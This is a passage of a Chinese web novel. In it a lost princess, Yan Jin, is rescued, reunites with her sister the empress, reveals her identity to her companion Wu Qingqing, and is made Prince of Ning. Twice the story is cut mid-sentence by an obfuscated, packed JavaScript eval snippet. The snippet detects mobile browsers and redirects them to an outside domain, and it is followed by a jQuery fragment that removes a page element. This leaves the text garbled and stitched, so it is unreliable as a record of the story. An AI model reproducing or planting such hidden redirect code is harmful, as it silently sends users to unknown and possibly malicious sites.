他丝毫不惧袁滨与余跃,坚持要与那人说两句话。 袁滨惹不起他,只能虎着脸让他过去,另外几人引颈而望。 镇抚司的厂卫分出一条路,季白云踱步过去,心中竟然有些紧张。 满身束缚的女子垂眸站立,对他们之间的对话似毫不在意,季白云走过来看她时,也不见吭声。 “你认得我么?” …… 无人回应。 他抿了抿唇,又问了一遍:“你是燕谨吗?” 燕谨掀起眼皮扫了他一眼,是有些眼熟,或许仔细想一想也能想起他的身份。 但她实在没有心情与气力。 前几天受寒导致的高烧还未好全,又如此折腾了一番,燕谨此刻脑中已经有些昏沉。 季白云被晾在原地,神情疑惑,但并不觉得尴尬。 袁滨客客气气地将他请出来,打了个手势,准备将燕谨压往监牢。 他心中对季白云这个世家公子有些不屑,故作姿态地安慰道:“季大人,这贼子已然无心狡辩,她的同伙被我等抓获,此时必定……” 话还没说完,包间的房门传来轰然巨响。 袁滨倏然转头,怒目而视。 踹门进来的人却让他大惊失色——金吾卫统领,解千惆。 ——跟着琰昌帝一路从微末之地起事,沙场征战十年,忠君不二,深得帝心,乃是帝王面前数一数二的红人。 解千惆身后跟着一队人,各个头脸带着狰狞面罩,玄甲覆体如铁壁,腰间长剑与甲片碰撞,叮一声脆响,比任何警告都管用。 “奉陛下口谕,将此人带进宫中。” 金吾卫办事向来独断专行,他扔下这句话,不等众人反应,便差人上前。 见燕谨身上满是束缚,解千惆冷眼扫过袁滨,“将她身上的东西拆了。” 他都被派出来了,这女人的身份已然有三分明朗。 袁滨心中大骇,还想再挣扎两句,但解千惆眼见就要亲自上手来拿钥匙了,赶忙动作。 还在一旁看戏的几位世家子女已经看呆了。 那位疑似六公主的女子被放开之后,没有第一时间奉旨跟着解千惆离开,反而哑声对着袁滨开口:“带我去找乌轻轻。” “谁?” “安福街,我的,同伴。” 燕谨一字一顿,紧盯着袁滨不放,将皇帝派出来接她的金吾卫晾在一旁。 未等袁滨作答,解千惆道:“陛下已派人去接乌公子,您随我们进宫即可与他相见。” 闻言,燕谨顿时如释重负。 她长舒一口气,精神松懈下来之后伤痛如山倒,整个人软下来朝地面摔去。 包间中的所有人都被她吓了一跳,解千惆面色冷凝地将人抱起来,急如风火带着燕谨赶回宫中。 他们来也匆匆,去也匆匆,留下袁滨等人站在包间里傻眼。 “所以,那真是燕谨?” “她还活着……” —— 乌轻轻差点死了。 被人从安福街抓出来的时候,他拼命挣扎,心如死灰。 燕谨临走前告诉他,亥时之前,她必定会回来。 但前脚燕谨刚走,后脚就来了一伙人抓他。 到现在他都不知道自己与小谨是如何走上逃亡之路的,只隐约猜到跟小谨的家世有关。 他不怕死,他只怕没能跟燕谨死在一起,只怕死前没能再看燕谨一眼。 武艺不精的乌轻轻只挣扎了片刻,就被人一手刀敲晕了带走。 他真以为自己要死了,失去意识之前嘴里还在呢喃小谨。 所以,当琰昌帝在御极宫等得焦灼不已时,金吾卫抬进来两个昏迷不醒的人,还有两个老太医被人拎着衣服一路奔过来。 解千惆屈膝行礼,声音泛冷:“六公主被我等找到时身负木枷镣铐,袁滨正准备 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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余跃来时,她还坐在床侧,一动不动。 “微臣余跃,拜见陛下。” 琰昌帝静思许久,没有叫起,余跃便端正跪好,一丝声音也未从唇齿中泄露出来,以免扰了皇帝思绪。 不知道过了多久,余跃感觉膝上已经有些刺痛。 琰昌帝的指尖轻抚燕谨的脸颊,眸中坚定之色愈甚,转头看向余跃。 “朕要让小谨当燕国的亲王,此后一人之下,万人之上。” 余跃倏然抬首,唇瓣翕张,似是想要劝阻。 御极宫地面铺着光可鉴人的金砖,倒映出穹顶的星辰与殿内的灯影,解千惆站在殿门的位置,身姿挺拔若松,呼吸声几不可闻。 跪着的人沉默良久,两腿血脉不通,以致有些麻木。 殿内摆放着的青铜火凰灯盏中燃着外域进贡的龙涎香,在殿内氤氲出一层暖融的光晕。 君臣二人对峙许久,余跃垂眸,嗓音有些颤抖:“陛下圣明。” “此事朕不怪你,事先朕并未确定小谨身份,你下手失了分寸,也算情有可原,”她淡淡睨着仍未起身的余跃,“袁滨既然已经跳出来了,便将他尽早处置了。” “是。” “镇抚司剩下的钉子限你一月内拔除。至于对外如何作态,无需朕多言,你看着做便是。” “是。” “至于现在,”琰昌帝的视线落回床上昏迷着的人身上,“自去领罚吧,轻重你心中有数。” “是。” 余跃叩首,并未为自己解释半句,躬身退下。 一出御极宫的大门,她便一副咬牙强忍的样子,忿忿不平甩袖离去。 暗中窥探的视线分毫不落,照收眼底。 48. 掉马 乌轻轻直到第二天清晨才头疼欲裂地醒过来。 对于镇抚司来说,他只是一个顺带着的,无关紧要的小角色。所以在下手时他们没什么轻重,乌轻轻当时感觉自己的椎骨都快被敲裂了,误以为自己死了。 此刻迷糊睁眼,他的劫后余生的第一反应是去找燕谨。 他龇牙咧嘴地想用手腕撑起身体,不过脑袋稍微抬了一下便浑身僵硬地倒回去。 是脖子断了吗……乌轻轻颤巍巍地伸出手往自己后颈摸,触手的感觉有些粗糙,他仔细分辨了一下,应当是有人给自己缠上了纱布。 身上有些酸疼,脑中思绪纷杂,乌轻轻仰躺在柔软的枕头上,视线落在永宁殿奢华拔步床的帐顶之上。 他慢半拍回过神来,这是哪? 小谨在哪里? 乌轻轻转不了头,只能用眼角余光在有限的范围中扫视。 他左侧隐约躺着一个人,看不清脸,只能感受到一个模糊的影子。 这是小谨吗……乌轻轻有些惊慌。他试探性地将左手挪过去,因看不见,把握不好距离,乍然感受到那人的体温时浑身都吓麻了,手闪回来的速度快到能见虚影。 “……小谨?” 躺在他旁边的人没有说话。 乌轻轻咬着下唇,既担心那是燕谨,又害怕那不是燕谨。 他给自己打气,再一次将手探过去。 慢慢的,一点一点,直到摸到另一只手。他往这只手的食指与中指处细细摸索,摸到熟悉的茧子之后才如释重负。 这是小谨。这是她在山中打猎时,拉弓留下来的茧子。 乌轻轻那时候很心疼,不知道摸过多少次。 “小谨?”他又喊了一遍。 身侧的人仍未应声。 乌轻轻瞳孔微缩,将指尖往前探,与她五指交扣。干燥的掌心带来属于另一个人的温度,乌轻轻心中的惶恐才勉强淡去几分。 他艰难地朝着燕谨的方向移动自己的身体,想和她靠得再近些,近到连她的体温也能够完全感受到。 床榻上细微的动静惊动了榻下守夜的宫女,她悄声掀开帐沿想看是否有人醒了。昏暗的室内,乌轻轻猝不及防与她对视一眼,吓得打了个寒颤,惊叫声被他咬牙咽下去,指尖用力到骨节发白。 燕谨就是这样被吵醒的。 右手被人紧紧握着,很突然地被捏了一下。 “轻轻……别闹我……” 她尚未恢复清醒,昏沉的大脑误以为他们还如以往那般。往常乌轻轻先醒时,总要闹一闹她。 宫女屏息后退,悄无声息地将帐沿放下,快步出去通知太医,又派人传消息给陛下。 乌轻轻听见她声音的下一秒,眼眶便开始蓄泪, “小谨,小谨,呜呜,有人来抓我,我动不了了,你怎么样了?那些人有没有去抓你?我们这是在哪里?你有没有受伤呜呜,小谨,我好害怕……” 半睡半醒的燕谨被他这一连串的问题问得有些发懵。 乌轻轻在她旁边哭个不停,两人交握的双手被他捏得很紧。看不见燕谨,他心中十分不安。 燕谨回握住他的手,闭上眼睛,庞杂的思绪渐渐清晰。 昨夜她醒来时还在长姐的御极宫,乌轻轻被长姐随意安置在偏殿,由太医照管。 燕谨并不是因为身体已经恢复了才醒来,而是脑中时刻挂念被拖去镇抚司受刑的乌轻轻,哪怕身体极力抗议,她也强撑着睁开了眼。 来不及与当了皇帝的燕诏说太多,燕谨只来得及说上一句:“长姐,将乌轻轻挪到我身边来,他会害怕。” 下一瞬便彻底昏死过去。 再次醒来便是现在。 燕谨揉了揉胀痛的额角,将不住弹跳的血管摁下去,她坐起身靠到乌轻轻身边。 这个角度乌轻轻不用转头也能看见她的脸。 “轻轻,你哪里不……” 看见乌轻轻脖颈上的纱布,燕谨的话突兀中断。 “你,有没有事?小谨,有人,去抓我。他们打我呜呜,你有没有,受伤?” 乌轻轻抽噎着问她,视线在她面上寻梭,甚至还想再看看她身上有没有伤。 燕谨的脸色冷得吓人,但动作却很轻柔。 她一手轻抚过乌轻轻颈上的纱布,后又去擦他颊上的眼泪。 “轻轻,别怕。”她的语气很温柔,“以后都不必害怕了。” “我要告诉你一件事。” 乌轻轻心中的惶惶在看见燕谨又被温声哄了两句之后逐渐消弭。 他的嗓子还有些哑,说话时像被砂砾磨过,“什么,什么事?” 燕谨却没继续说,她拧着身子想去摸床头的水杯,转过去之后才发现这是在宫中,床头并没有水杯。 透过若隐若现的月白色软罗烟帐,燕谨猜测此处应当是她以前的寝殿——永宁殿。 永宁殿在国都破后被人损毁不少,燕诏登基后将之修缮装点一番,殿中十分华丽。 燕谨有些不太适应身份的转变,她清了清嗓子,扬声问道:“有人在么?” 帐外后很快响起一个女声:“奴婢在。” “劳烦,给我拿一杯温水过来。” “是。” 纱帘外的脚步声来去匆匆,很快有人递进一杯水。 燕谨伸手接过,一脸迷惘的乌轻轻躺在枕头上看她。 他没法抬头,燕谨松开他握着自己的那只手,从他背部发力将人半抱了起来,依靠在自己怀中慢慢喝下半杯温水。 剩下半杯被燕谨随口喝下去,许久未进水,她也有些口干。 将水杯递出去之后,燕谨才继续那个话题。 “关于我的身世……我的家庭。” 乌轻轻靠在她身上,只能看见燕谨的半张脸。 “我不叫叶谨,轻轻,我叫燕谨。” 她的嗓音有些干涩,带着一丝微不可查的紧张,方才的水似乎没有什么作用。 乌轻轻眨了眨眼,尚未明白她的意思,“那你的户籍上错了,我们还能改回来吗?” 燕谨立马没有答话,青白的指尖在乌轻轻颈上的纱布摩挲。 帐内视线不好,乌轻轻看不太清她的神色,心中疑虑更甚。 燕谨在等乌轻轻自己想明白。 永宁殿内燃着特供的凝露香,香味清幽不浓烈,萦绕在周身,连呼吸间都带着柔润的香味;身下是极软极细的白狐绒,指尖不经意间蹭过软成一团,满是蓬松的柔意。 只这两物,便是乌轻轻前十几年都未曾感受过的富贵舒适。 将要明悟之时,一道充满嘲讽的女声由远及近地响起。 “蠢货,吾妹是上了宗谱玉牒,有金册为证的皇家公主。” 燕谨怔住,下一瞬,帐帘被人大力拉开。 她侧首回望,是满脸不虞的长姐。长姐穿着一身盘领窄袖袍,头戴乌纱翼善冠,似乎正准备去上朝。 “小谨,还记得长姐么。” 她语气舒缓,装作看不见燕谨怀里的乌轻轻,只盯着燕谨看。 惟有攥着纱帘的那只手,已经用力到骨节发白。 这是燕谨十几年以来,第一次与自己的亲人相聚。 她立马红了眼眶,在眼泪要掉不掉时立马低头掩饰,哑声道:“长姐……小谨自然记得。” 燕诏很是隐晦地松了口气,指尖微松,身后立时有人过来将纱帘挂起来,以免阻碍帝王视线。 “过来,让太医给你诊脉。” 她不知道这些年小谨是怎么过的,派去云城查探的人还未回来,燕诏对燕谨身上发生的事知之甚少。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16291761|180272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >于是自然对看着不太中用的乌轻轻极为不满,若不是因为燕谨在乎,她连一眼都懒得多看。 看着不太中用的乌轻轻此时躺在燕谨怀中,大脑已经被这石破天惊的消息震得有些神志不清了。 燕谨半抱着不能抬头的乌轻轻挪到床边,碍于长姐当前,她将乌轻轻放下,准备去一旁的贵妃榻上让太医诊脉。 人还未走出床帐,衣袖便被拉住。 “小谨……” 乌轻轻的声音弱弱的在身后响起,他脑子还没转过弯来,但下意识害怕燕谨的离去。 燕谨不知为何,忽然有些心虚。 她站立不动,悄悄去看长姐的脸色。 长姐看起来似乎没什么反应,只是唇角挑起一个弧度,要笑不笑的样子。 果然是皇帝了……燕谨感慨。 “我先去上朝了,晚些时候回来,你将他,”燕诏斜睨了乌轻轻一眼,“安排好,我与你叙旧之时不希望有外人在场。” 燕谨默默点头。 长姐甩袖离去,脚下疾风闪电,终于是能看出一点生气的样子。 几位太医还候在一旁,燕谨温声道:“劳烦几位偏殿稍候。” “是,殿下。” 几位太医依次离去,宫侍们也在燕谨的示意下鱼贯而出。 只剩下她与乌轻轻两人。 乌轻轻还攥着她的衣袖不放,由于脖子还不能动,整个人僵在床上,看起来有些好笑。 燕谨也真的被他逗乐了,坐回床沿,将他的手松开,“想明白了?” “……你是公主?”乌轻轻满脸呆滞。 “十一年前是。” “那……现在呢?” 燕谨摸摸他的脑袋,又在他濡湿的睫毛上点了点,“也许还是。” 得了确定的答案,乌轻轻沉默了足足有半刻钟的时间。 期间燕谨一直在他脸上摸摸蹭蹭,眼神中有些好奇,待乌轻轻回过神来,他会是个什么反应? “……那你得给我报仇。”安静的人突然在她怀中挣扎,妄图起身。 挣扎不到一半,便被颈上的刺痛激得瞬间倒下去。 乌轻轻拉住燕谨的手,一脸严肃地看她,“这个砍我脖子的人,你要帮我报复他。” 燕谨有些怔愣,下意识点点头:“好。” “以前我生日时你总用草编敷衍我,你得给我补上新的礼物。” “可以。” “……既然你是公主,那你能用金子做的草给我再编个蚂蚱笼子吗?” 有金子做的草吗?燕谨不太确定。 她略带犹疑,“我得问问,如果有金子做的草,我就给你编。” “那咱家的镖局和院子能要回来了吗?” “当然可以。” 她答完这句话,乌轻轻眸中越发明亮,喜滋滋地拉着燕谨,兴奋地不得了。 “当公主真好,小谨,你怎么不早些回来当公主。” “……嗯?” “这样我就可以早早跟着你享福啦!说不定娘也可以呢。” 燕谨默了片刻,旋即大笑起来。 她心中原本积压的不知名情绪忽然消散的一干二净。 乌轻轻还是那个乌轻轻,不论她是叶谨还是燕谨,不论她是青山猎户还是燕国公主,乌轻轻永远是那个乌轻轻。 她笑得毫无拘束,洪亮的笑声穿透罗帐,在空敞的寝殿里铺开,像带着风似的绕着鎏金柱转了两圈,连窗外廊下的宫侍都能听得一清二楚,余音许久才淡去。 这是她第一次如此开怀。 乌轻轻不明所以,傻乎乎地跟着燕谨一道乐呵。 燕谨眼尾泛红,她揩过眼角泪水,俯下身抱住还梗着脖子的人。 我们。 往后,都是好日子了。 49. 亲王 琰昌帝想封燕谨为亲王这件事一直等到年后开春都尚未办妥。 原因很简单——燕谨是女子。 朝中大臣吵个没完,日日与余跃等人争得面红耳赤,日日在朝上论辩,琰昌帝案上的劝谏折子更是码成小山,她一本也懒得看。 左不过是说,燕谨先前是公主,既陛下登基,怜惜幼妹,封为长公主便是,何必要违祖制封亲王之位? 帝王掌权不过一年,想要一意孤行也未到时机,只得日日百无聊赖地听着,任凭两拨人在朝堂论战。 这些事,燕谨与乌轻轻并不知晓。 他们独处深山近六年,还未长成之时便只剩彼此相伴,自有一套独特的生存之道,待人待物都有自己的章法,与常人不同。尤其是在琰昌帝的特别安排下,对时政更是两眼一抹黑。 燕谨直到事情已经发生很久,听见两名小宫女私下议论,才知长姐想封她为王,引得朝堂不安震动。 她伫立良久,没有惊动任何人,只将敞开的窗扇掩上。 冬日午后,这两天国都下了几场雪。平章殿的朱红殿门半掩着,殿外阶前积着半尺新雪,檐角垂落的冰棱透亮,风吹过时,偶有碎雪从琉璃瓦上簌簌滑落。 琰昌帝端坐于案后,案上摊着的奏折墨迹未干;燕谨坐在一旁的紫檀木榻上,手中握着一卷书。 “长姐,你为何要封我做亲王?” 朱笔上的墨汁滴落在砚台中,燕诏抬眸看向幼妹,“小谨,你从何处得知此事?” “殿中两个宫女闲暇时谈话,我偶然听见。” 燕诏微微一笑,“我还以为小谨会劝我不要因私废公,不必封你为亲王。” “长姐做事自然有自己的道理,我不懂朝堂事,怎会劝阻长姐?” 燕谨放下书卷,一双墨眸静静看着御案之后的帝王。 殿角铜鹤炉里飘出的檀香丝丝缕缕,萦绕在温暖的殿内,燕诏冷不丁问出一个不相干的问题。 “小谨可知为何我后宫无人?” 燕谨面色微怔,“不是因为……长姐是女子,所以后宫无法……” “是也不是。” 燕诏思忖片刻,后放下朱笔,合上摊开奏折,看着燕谨勾唇一笑。 “若我是‘琰王’,那自然要遮掩一二,放两位世家贵女在宫中,以免让人识破我女子身份。” “可我不是‘琰王’,此事,朝中众人皆知。” 不顾燕谨是如何心胆俱震,她语气未顿,指尖轻轻叩了叩御案:“幼时父皇母后尚在,诀儿是被寄予厚望的皇子,你我虽顶着‘公主’的名头,被人跪称金枝玉叶,说到底,不过是皇室用来联姻、用来装点门面的器物——就像那案上的金题玉躞,华美是真,可若我要将它赏给哪个臣子,你说,它有半分拒绝的余地么?” “可叹我终究是皇家骨血。朝中老臣早已知晓燕诀已死,却还是捏着鼻子认了我这个‘琰王’,无非是我出身正统,手握兵马能镇住这乱世残局。他们揣着明白装糊涂,以为我坐上龙椅,总得顾忌世俗偏见,把这些表面功夫做足做透——可我偏不。” 她微微倾身,声音压得低了些,却更显锐利:“我在朝堂设女官署,让她们与男子同列,掌章奏、理民政;我封你做燕国亲王,赐你金印紫绶,居万人之上——小谨,你猜猜,长姐下一步要做什么?” 燕谨怔怔望着她,喉间发紧。 眼前人明黄的龙袍一角垂落在铺着白虎皮褥的脚踏上,金线绣的龙纹沾了点殿外飘进的雪沫,竟似要活过来一般。而燕诏眸中亮得惊人,唇角噙着抹张扬的笑。 “长姐要……做回燕诏。”她几乎是脱口而出。 燕诏朗声大笑:“不错!我要做回燕诏!不止是满朝文武,朕要让天下人都知道,如今坐在龙椅上的,不是男子燕诀,不是皇子琰王,是女子,燕诏!” “所以……长姐封我做亲王,除去尊荣地位,”燕谨忽然懂了,声音微颤,“是为了撕开那层遮羞布。” “是!”燕诏猛地直起身,“我要我的妹妹当亲王,更要让天下人看见——若女子能佩亲王印,为何不能戴天子冕?” 百官反对的从来不是燕谨这个“妹妹”,而是她燕诏这个“女子”。 燕诏就是要明白告诉他们,她既已登上至尊之位,那这层表面功夫,她不仅不做,还要全部撕碎! 她自二十一岁在斜柳郡招兵买马起事之时起,便已想到如今的局面。 这世上,惟有掌权者才能打破规则、制定规则。既然如今是她燕诏做了这个掌权之人,那天下,自然也得按照她的规则来。 燕谨望着眼前野心勃勃、张狂肆意的燕诏,静默片刻,哑声道:“不论长姐想做什么,小谨,永远支持长姐。” 世界合该如长姐心意运作才对。 琰昌二年三月廿五日。 皇帝诏曰:朕妹燕谨,德厚性纯,心怀社稷。今册其为宁王,赐金印紫绶,食邑若干,以彰其贤,以固国本。望其恪尽职守,辅弼王室,不负朕望。钦此。 —— 册封之后,燕谨与乌轻轻又在宫中住了三月。 待燕谨过完二十二岁生日,燕诏才放他们搬进燕谨的亲王府邸。 王府是改建的,先前是座空置许久的郡王府邸。战乱方平,国库并不充盈,加之琰昌帝是个好皇帝,私产也少,只能不太高兴地选了一处地段好的地方让工部改建。 在修缮宁王府时,工部谨遵皇帝旨意,极尽心思,务必让这旧府翻新花,一切都按照亲王的最高规制去办,力争皇帝与新册宁王的满意。 建好前几人来看过两回,燕谨没什么要求,叫工部看着做便是,乌轻轻这个土包子却回回都能看呆了去,惹得琰昌帝嫌弃。 因着燕谨不懂理事,燕诏特地派了两个人过来,打理宁王府对内对外的一干事宜。 七月底,宁王府内外一应改建妥当。 燕谨喜静,乌轻轻怕生,搬进王府的那天,阵仗不算太大。 这是两人第一次见到完整的王府,乌轻轻愣神太久,被燕谨拎着后脖颈带进去。 宁王府不似其他王府浓艳张扬,却在低调中暗藏贵气。朱漆大门高阔,只在门环处饰以黄铜兽首,不鎏金、不镶玉,门旁立着两株百年古槐,枝繁叶茂,遮天蔽日。 入府穿过三重仪门,方至中庭。地面铺着整块的太湖石,两侧种着青竹,竹影婆娑;府中梁柱皆用南洋紫檀打造,檐角挂着鎏金铜铃,殿内十二根盘龙金柱撑起高阔的穹顶,案上摆着和田玉鼎,壁上悬着御赐的名人字画,处处彰显出亲王的赫赫威仪。 两位长史躬身跟着两人身后,府内一步一景,她们讲解地非常细致,态度极为恭谨。 现在全天下都能看出琰昌帝对这位宁王的爱重,哪怕她十几年未回国都,也无一人敢轻视半分。 逛了半日,长史领着二人来到一处院落。 “殿下,此处便是您的修竹堂,陛下特地吩咐,皆按照永宁殿一般修葺。” 燕谨扫了一眼,抬步进去,乌轻轻自然跟上。 方才说话的长史急忙拦住他,“公子,您的寝殿还未到。” “啊?”乌轻轻被府内的富贵迷得有点恍惚,甚至都怎么听清这一路长史在说什么,“我和小谨要住一起。” 穿着青绿袍子的长史面带犹疑,虽是在跟乌轻轻说话,但眼角一直注意着前头的燕谨。 “公子,这不合规矩……” 乌轻轻有些无措。 他站在原地踱了两步,一时不知道自己是该进还是该出。 还未等他考虑好,走在前头的燕谨冷着一张脸又走回来,牵着他的手将人带了进去。 “以后你等见乌轻轻如见本王,若做不到这一点,自请回宫吧。” 身着青绿袍子的长史冷汗津津,俯身应是。 等到屋内,正在洒扫的侍女在燕谨的示意下悄声告退,燕谨将乌轻轻摁在榻上,神情有些不快。 “在宫中你倒是敢顶着长姐的眼刀跟我住在一起,怎么到了自己的地方还被个长史唬住了?” 乌轻轻眨了眨眼,手指去勾她的掌心。 燕谨甩开,他又贴上去,声音黏黏糊糊的,“你都是宁王了……我怕影响你的,你的,你的……什么来着?” “威仪?” “对!就是这个词!” 燕谨头疼地揉了揉眉心,任他攥着自己的手翻来覆去地看,“歪理,明日我就让长史给你请先生。” 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被燕谨训了一顿之后安生下来,直到晚上睡觉都闷闷不乐的。 “明天你得陪我坐船,我要去采花。” 他窝在床里,侧着身子,一脸认真地看向刚刚洗漱完进来的人。 燕谨拒绝了侍女想要上前擦发的动作,将帕子扔给乌轻轻,坐在床沿,等他吭哧吭哧爬过来给自己擦头发。 “你们先下去吧,以后没有吩咐不必在内室伺候。” “是,殿下。” 侍女们垂首退到外间,掩上房门,留一室静寂。 这种静寂很快被乌轻轻打破,他似乎是有些不好意思,特意凑到燕谨耳边,小声跟她抱怨:“幸好你叫她们出去了,我方才等你的时候,都觉得很不自在。” 燕谨被他唇间呼出来的热气弄得有点痒,侧首躲了一下,抬眼时刚巧看到了乌轻轻敞开的领口。 他还在念叨湖中的荷花,喉结滚动,底下的锁骨也跟着露出来。清隽的少年人只有脸蛋晒得有些小麦色,身上却很白,利落的骨线被白皙的皮肉衬得温润。微微摇晃的竹节玉佩坠在红绳上,垂落在领口深处,极富冲击力的画面让人忍不住多看两眼。 但燕谨只不过看了一眼就皱起眉头。她没好气地将乌轻轻的身上的衣服拉好,止住他还在擦发的动作,语调有些冷:“衣裳怎么穿成这样?方才便没穿好么?你若觉得不自在便让她们出去,我白日说过的话你就忘了?” 乌轻轻靠她很近,双眼在她脸上探查,似乎是想找点不一样的东西出来,“没有注意……你不高兴吗?” 燕谨将他的身体往后推了推,“自然不高兴,我已经说过了,见你如见我,你在宁王府中与我是一样的。” “哦……为了这个不高兴啊……” “还能为什么不高兴?”燕谨有些疑惑,想了想,她又说,“明日下午我陪你去坐船采花,但你不得下水。” 乌轻轻将帕子往她身上一扔,气鼓鼓地爬回去,躺倒闭眼,一副不想再和燕谨说话的样子。 燕谨:…… “再撒娇也不能下水。” 这下乌轻轻连身体都转过去了,背对着燕谨,一语不发。 还剩几天就十八岁了,怎得还这么孩子脾气?燕谨自己拿了帕子绞头发,时不时看乌轻轻一眼,心中十分疑惑。 擦完头发,熄了灯,燕谨躺在床外侧,乌轻轻与她隔着一臂距离。 半梦半醒间,燕谨忽然想起来一件事。 她忘了是听谁说过,男子只要娶亲,便会成熟许多。 也许乌轻轻也到了这个时候。 他身份低,长姐不太喜欢他,任他跟着自己却不给他官爵,连金银珠宝都不曾赏赐过半分。燕谨其实不在意这些,长姐总归有自己的考量,乌轻轻跟着她也用不着那些东西。 但女子嫁人,总得考量夫家人品家世。 乌轻轻虽然人微言轻,但自己已是亲王,应当能为他找到一门不错的亲事。 燕谨睡意朦胧地想着,甚觉自己的主意精妙,她下意识跟乌轻轻分享—— “轻轻,我为你安排一门亲事如何?”